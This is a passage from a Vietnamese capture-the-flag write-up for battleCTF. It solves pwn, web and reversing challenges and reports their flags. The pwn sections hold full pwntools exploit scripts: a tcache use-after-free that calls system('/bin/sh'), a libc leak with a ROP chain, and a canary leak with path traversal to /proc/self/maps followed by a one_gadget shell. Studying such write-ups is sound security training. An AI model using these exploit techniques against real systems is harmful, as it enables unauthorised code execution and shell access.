No minon in the Military zone."); return; } print("Zone number? (0-9)"); while (1) { printf("> "); scanf("%d", &choice); if (choice >= 0 && choice < MINON_SIZE) { break; } printf("??\n"); } if (danxome.minons[choice] == NULL) { print("[ERROR] No minon in this zone."); return; } danxome.minons[choice]->speak(danxome.minons[choice]->name); } int main(int argc, char const *argv[]) { int leave = 0; init(); while(!leave) { switch (menu()) { case 1: add_minon(); break; case 2: remove_minon(); break; case 3: report_name(); break; default: leave = 1; } printf("\n"); } return 0; } ``` #### Ý tưởng - Bài này tương tự như Danxome cũng có lỗ hổng ở chỗ không xoá con trỏ sau khi free và UAF - Chương trình khá ổn khi 1 lần tạo 2 chunk (chunk lưu speak, chunk lưu tên) đều 0x20 byte và khi free thì chunk tên free trước, chunk speak free sau. - Tuy nhiên để ow được chunk speak, ta tận dụng cơ chế tcache là mỗi size lưu được 7 chunk. - Lỗ hổng như sau: - Ta sẽ tạo 4 minon (8 chunk) và free 4 minon, thứ tự trong tcache (số đen) ![image](https://github.com/wan-hyhty/trainning/assets/111769169/9abba3bd-e9eb-4c31-94da-d638862becdb) - Khi free xong chunk 8 sẽ được lưu trong fastbin do tcache đầy - Khi malloc 1 minon mới, chương trình sẽ lấy trong tcache trước và lấy chunk 7 (lưu speak) và chunk 6 (lưu ten) > Vậy là ta đã có thể UAF, ow chunk 6 là system #### Khai thác - Dựa trên lí thuyết trên ta tạo 5 minon như sau ```python add(b'a'*0x18) add(b'b'*0x18) add(b'c'*0x18) add(b'd'*0x18) add(b'/bin/sh\x00') ``` - Ta free 4 minon đầu, và tạo minon mới ```python remove(0) remove(1) remove(2) remove(3) add(flat(system_plt, 0)+b'\xc0') ``` - Minon mới sẽ ghi đè như hình ở phần ý tưởng, tại sao lại có `b'\xc0`. Vì khi `report_name`, nó sẽ call rdx là `system`, tuy nhiên rdi cần là một địa chỉ chứa chuỗi `/bin/sh` nhưng trong chương trình không có sẵn, vì vậy ở phần tạo 4 minon đầu, ta sẽ tạo minon 4 tên `/bin/sh` và khi UAF, ta sẽ ow địa chỉ heap thành địa chỉ heap chứa `/bin/sh` của minon 4 - script: ```python from pwn import * context.binary = elf = ELF('./minon') # p = remote('pwn.battlectf.online',1007) p = process("./minon") system_plt = elf.plt['system'] gdb.attach(p, gdbscript = ''' b*0x0000000000401450 b*0x000000000040167a c ''') input() def add(name): p.sendlineafter(b'>', b'1') p.sendlineafter(b'>', b'1') p.sendafter(b'>', name) p.recvuntil(b'> [DEBUG]') def remove(idx): p.sendlineafter(b'>', b'2') p.sendlineafter(b'>', str(idx).encode('utf-8')) p.recvuntil(b'> [DEBUG]') def report(idx): p.sendlineafter(b'>', b'3') p.sendlineafter(b'>', str(idx).encode('utf-8')) add(b'a'*0x18) add(b'b'*0x18) add(b'c'*0x18) add(b'd'*0x18) add(b'/bin/sh\x00') remove(0) remove(1) remove(2) remove(3) add(flat(system_plt, 0)+b'\xc0') report(2) p.interactive() ``` --- ### cppstring - check file + checksec ![](https://hackmd.io/_uploads/SkUvZvxYh.png) - source: ```c #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <time.h> void init() { setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); } void getsline(char **p, size_t *n) { char c = '\0'; unsigned int count = 0, size = 0; char *backup; if (*n==0 && *p==NULL) { *p = malloc(0); while (1) { read(0, &c, 1); if (count >= 0x20000) exit(0); if (count != 0 && count % 0x10 == 0) { backup = malloc(count + 0x10); memcpy(backup, *p, count); *p = backup; } backup = *p; backup[count] = c; count++; if (c=='\n') { *n = count; break; } } } else read(0, p, *n); } void cin(char **p) { size_t n = 0; char *buffer = NULL; // memset(*p, 0, 0x400); getsline(&buffer, &n); if (strlen(buffer) > 0x408) *p = buffer; else memcpy(*p, buffer, n); } void cout(char *p) { unsigned int count = 0; while (1) { if (p[count]=='\0') break; write(1, &p[count], 1); count++; } } /* Challenge name: C++ string */ unsigned long int gen_seed() { return ((time(0)*2003/1/9) >> 2) * (rand()*0x09012021/5); } void play_game() { unsigned long int randnum, guess; char *p; char buffer[0x408]; randnum = rand(); cout("------ GUESSING GAME ------\n"); cout("Rule: You will guess a number from 0 to 4294967295 and if you win, I will give you a gift!\n"); cout("Your number: "); p = buffer; cin(&p); cout("You guess: "); cout(p); guess = atoi(p); sleep((rand() % 5) + 1); if (randnum == guess) { cout("Congratulation! Name for the winner: "); p = buffer; cin(&p); cout("You can get the gift from admin, "); cout(p); } else { cout("Nah loser!\n"); exit(0); } } int main() { init(); srand(gen_seed()); srand(gen_seed()); srand(gen_seed()); play_game(); } ``` - thông qua source ta phải leak được time để có thể đoán được số - nhưng vấn đề là trong hàm **gen_seed** ấy giá trị trả về được định dạng giới hạn theo code C, khi bê qua python sẽ định dạng lại theo code Python ```c unsigned long int gen_seed() { return ((time(0)*2003/1/9) >> 2) * (rand()*0x09012021/5); } ``` - vì vậy trong script của mình, phải ép kiểu định dạng trả về như code C ```python def gen_seed(): pkb = (((elf.time()) * 2003 // 9) >> 2) * elf.rand() * 30213741 return c_ulong(pkb).value ``` - khi mình đã pass qua bước check đầu tiên, chương trình sẽ cho ta nhập tên, rồi in ra tên mình kèm 1 số byte lạ - check trong gdb là do hàm **cout** nó in tên mình kèm những byte liền kề đến khi gặp NULL byte - vì có thể leak đc địa chỉ nào đó nhờ **cout**, cộng với hàm **atoi** chỉ lấy số trong chuỗi payload ---> số send vào payload để qua bước check ta có thể padding 1 lượng byte phù hợp để leak libc - phải leak libc vì bài này k có hàm ``win`` hay gì cả, hướng là get_shell - sau khi có dc libc_leak, tính pop_rdi, vân vân và mây mây là có shell ![](https://hackmd.io/_uploads/S1MQvZJF2.png) - script: ```python #!/usr/bin/python3 from pwn import * import random import time from ctypes import * context.binary = exe = ELF('./cppstring_patched',checksec=False) libc = ELF('./libc.so.6',checksec=False) elf = cdll.LoadLibrary("libc.so.6") #p = process(exe.path) p = remote('pwn.battlectf.online',1008) def gen_seed(): pkb = (((elf.time()) * 2003 // 9) >> 2) * elf.rand() * 30213741 return c_ulong(pkb).value elf.srand(gen_seed()) elf.srand(gen_seed()) elf.srand(gen_seed()) a = elf.rand() log.info("guess: " + str(a)) payload = str(a).encode() payload = payload.ljust(0x3a7, b'P') p.sendlineafter(b'number: ',payload) p.recvuntil(b'P'*0x200 + b'\n') libc_leak = u64(p.recv(6) + b'\0\0') log.info("libc leak: " + hex(libc_leak)) libc.address = libc_leak - 0x8e475 log.info("libc base: " + hex(libc.address)) # gdb.attach(p,gdbscript=''' # b*play_game+80 # b*play_game+85 # b*play_game+92 # b*play_game+97 # b*play_game+101 # b*play_game+104 # b*play_game+220 # b*play_game+244 # c # ''') # input() pop_rdi = libc.address + 0x000000000002a3e5 ret = libc.address + 0x0000000000029cd6 payload = b'\0'*0x408 + flat( libc.address, 0, 0, 0, ret, pop_rdi, next(libc.search(b'/bin/sh')), libc.sym['system'] ) p.sendlineafter(b'winner: ', payload) p.interactive() #battleCTF{wh4t_4_w31rd_str1ng_1n_cpp_e76382a83b5bd85d68ab810b7618eaa2} ``` >Flag: battleCTF{wh4t_4_w31rd_str1ng_1n_cpp_e76382a83b5bd85d68ab810b7618eaa2} --- ### Readfile - check file + checksec ![](https://hackmd.io/_uploads/HywDS_lF2.png) - check ida ```c int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [rsp+17h] [rbp-89h] __WAIT_STATUS stat_loc; // [rsp+18h] [rbp-88h] BYREF char *filename; // [rsp+20h] [rbp-80h] void *v7; // [rsp+28h] [rbp-78h] __int64 v8; // [rsp+30h] [rbp-70h] FILE *stream; // [rsp+38h] [rbp-68h] char v10[48]; // [rsp+40h] [rbp-60h] BYREF char s[40]; // [rsp+70h] [rbp-30h] BYREF unsigned __int64 v12; // [rsp+98h] [rbp-8h] __int64 savedregs; // [rsp+A0h] [rbp+0h] BYREF v12 = __readfsqword(0x28u); LODWORD(stat_loc.__uptr) = 0; filename = (char *)malloc(0x40uLL); v7 = &savedregs; init(64LL); memset(s, 0, sizeof(s)); memset(&savedregs, 0, 0x400uLL); printf("Your name: "); read_str(s, 64LL); // BOF while ( 1 ) { memset(v10, 0, sizeof(v10)); memset(filename, 0, 0x10uLL); puts("1. Read file"); puts("2. Exit"); printf("> "); v8 = read_int("> "); if ( v8 != 1 ) { printf("Your feedback: "); read_str(s, 64LL); puts("Thanks!"); return 0; } if ( !fork() ) break; do HIDWORD(stat_loc.__iptr) = wait((__WAIT_STATUS)&stat_loc); while ( SHIDWORD(stat_loc.__iptr) > 0 ); } printf("Enter filename: "); read_str(v10, 48LL); printf("Reading %s...\n", v10); snprintf(filename, 0x40uLL, "/home/user/data/%s.txt", v10); stream = fopen(filename, "r"); if ( stream ) { puts("------ DATA ------"); while ( 1 ) { v4 = fgetc(stream); if ( v4 == -1 ) break; putchar(v4); } putchar(10); puts("------------------"); } else { puts("****** FILE NOT FOUND ******"); } return 0; } ``` ![](https://hackmd.io/_uploads/rJZRr_lF2.png) > hàm read_str ![](https://hackmd.io/_uploads/Bkm1LOxFn.png) > hàm read_int - vì canary bật nên ta cần leak canary - option1 để leak - option2 để return - ở lần nhập đầu ![](https://hackmd.io/_uploads/SygIt_xYh.png) >offset = 0x28 + 1 byte in lố - leak dc canary, ta sẽ lợi dụng khả năng đọc file, và lấy libc từ file '/proc/self/maps' ![](https://hackmd.io/_uploads/r1GQnOxY2.png) - cuối cùng thì one_gadget lấy shell ![](https://hackmd.io/_uploads/HJRDLW1t3.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('readfile', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe # p = process(exe.path) p = remote('pwn.battlectf.online', 1000) ############################ ### Stage 1: Leak canary ### ############################ p.sendafter(b'name: ', b'A'*0x29) p.sendlineafter(b'> ', b'1') p.sendafter(b'name: ', b'A'*0x30) p.recvuntil(b'A'*0x58) canary = (u64(p.recv(8)) >> 8) << 8 log.info("Canary: " + hex(canary)) ############################################## ### Stage 2: Leak libc via /proc/self/maps ### ############################################## p.sendlineafter(b'> ', b'1') p.sendafter(b'name: ', b'../../../' + b'./'*12 + b'proc/self/maps') output = p.recvuntil(b'libc.so.6').split(b'\n')[-1] libc.address = int(output[:output.index(b'-')], 16) log.info("Libc base: " + hex(libc.address)) ########################################## ### Stage 3: Get shell with one_gadget ### ########################################## gadget = libc.address + 0x50a37 p.sendlineafter(b'> ', b'2') payload = flat( b'A'*0x28, canary, 0, gadget ) p.sendlineafter(b'feedback: ', payload) p.interactive() #battleCTF{0h_h0_spr1ntf_c4us3_0v3rfl0w_48a53c988f88d95fa1e7d02198b04fd6} ``` > Flag: battleCTF{0h_h0_spr1ntf_c4us3_0v3rfl0w_48a53c988f88d95fa1e7d02198b04fd6} --- ## WEB ### Civilization - Ta có form của challenge. Sau đó ta check '/?source', ta được 1 đoạn code php ```php <?php require("./flag.php"); if(isset($_GET['source'])){ highlight_file(__FILE__); } if(isset($_GET['ami'])){ $input = $_GET['ami']; $cigar = 'africacradlecivilization'; if (preg_replace("/$cigar/",'',$input) === $cigar) { africa(); } } include("home.html"); ?> ``` - Đọc script thì điều ta cần làm là cần bypass hàm preg_replace(). Sau đó mình có research vè hàm này ở đây https://www.php.net/manual/en/function.preg-replace.php - Vậy thì ta chỉ cần tham số ami vào là xong. Quan trọng là chèn như thế nào.Phân tích đoạn code: - `ami` là một GET parameter. Chúng ta có thể chèn giá trị cho nó, ví dụ như: http://chall.battlectf.online:8080/?ami=abcdef ``$cigar=africacradlecivilization`` - `$input` Đầu vào được cung cấp của ta thông qua tham số ami được lưu trữ trong biến này. - Bây giờ thì mình thử mô phỏng lại hàm preg_replace(). ![](https://hackmd.io/_uploads/ByybdWWFn.png) - Mình cho input là `africacradlecivilization`, `africacradlecivilization` sẽ được so sánh với `africacradlecivilization` và được thay thế bởi `''`. - Mình có thử vài trường hợp. ```php 1 - $str : africa $php main.php Final String is : africa No Success 2 - $str : africacradle $php main.php Final String is : africacradle No Success 3 - $str : africacradleciviliztion $php main.php Final String is : No Success ``` - Bây giờ thì ta đã hiểu cách hoạt động của hàm preg_replace().Nó chỉ là kiểm tra xem có `africacradleciviliztion` trong chuỗi hay không, nếu nó có mặt thì nó đang thay thế `africacradleciviliztion` bằng ''. - Vậy thì input sẽ là `africaafricacradlecivilizationcradlecivilization` - URL: ```php http://chall.battlectf.online:8080/?ami=africaafricacradlecivilizationcradlecivilization ``` > Flag:`battleCTF{pr3gr4plAcebyp455_0x0x0x0x}` --- ### Hebiosso injection --- ## REV ### SEYI - Mở IDA lên, ta thấy ở mục getshell có flag lun ![](https://hackmd.io/_uploads/BkLw7Q1Kh.png) >Flag: battleCTF{The_path_to_light} --- ### Welcome - Đầu tiên mở file bằng IDA lên ![image](https://github.com/leviiec/dl/assets/128345171/17a465da-29bd-40da-8647-262a0d44b912) - Đọc code ASM ta thấy chuỗi hex ``522D1B20F6h`` cộng với chuỗi ``1EE2EEEEh`` rồi XOR với ``0AA84AAAh`` ``` #include <iostream> #include <cmath> using namespace std; int main() { long long a=0x522D1B20F6; long long b=0x1EE2EEEE; long long c=a+b; long long d=c^0x0AA84AAA; cout << d; return 0; } ``` ![image](https://github.com/leviiec/dl/assets/128345171/146199eb-397c-4d50-87ce-b2a8a6caf052) ``353283491150`` được chuỗi này bỏ vào web``kt.gy`` sẽ ra ``RAVEN`` > FLAG:``battleCTF{RAVEN} --- ### babyrev - Mở IDA lên, và Shift F12, ta thấy được 1 đoạn mã lạ, ta vất cho crypto thì nhận ra đây là Caesar ![](https://hackmd.io/_uploads/BkIx6X1t2.png) - Vất vào [Caesar trên Dcode](https://www.dcode.fr/caesar-cipher) thui ![](https://hackmd.io/_uploads/HyGETQyY3.png) >Flag: battleCTF{Agba_Fre3_FOOD_Dey_o0O!_85864c1277bf8195abbea6540494ac46} --- ### CHECKER - Đầu tiên mở file bằng IDA ![image](https://github.com/leviiec/dl/assets/128345171/f74f7c89-2bb8-44a9-994a-4ac0ca2d00ee) - Mở ``String`` lên xem có chuỗi nào khum ![image](https://github.com/leviiec/dl/assets/128345171/232e8253-c932-4d9e-b7e3-17e9d7910453) - ``gfyyqjHYK{Flg4_d0z_i3d_xr0p3_1lg0?}`` thấy chuỗi này là mật mã Caesar, bỏ vào ``kt.gy`` ![image](https://github.com/leviiec/dl/assets/128345171/31dd6f0f-d7a4-4408-add1-53f782bdc75f) > FLAG: battleCTF{Agb4_y0u_d3y_sm0k3_1gb0?} --- ### Mazui - Đầu tiên mở file bằng IDA, ko thấy gì hết nên ta debug ![image](https://github.com/leviiec/dl/assets/128345171/66fea3df-0ed3-41d7-8ab3-b74c75e3ffc8) - Đọc Code ASM thì ta thấy XOR nên ta code thui ```python from pwn import * from Crypto.Util.number import * x = 0x41EF12 lst = [0x62209B66,0x6C24AC46,0x463ABC23,0x6D318377,0x5F0C8064,0x492FBC7A,0x652D836F] panh = [] for i in lst: panh.append(x^i) flag = b'' for i in panh: flag = flag + long_to_bytes(i) print(flag) ``` > Flag: battleCTF{S1mple_MovInShell} --- ## MISC ### Discord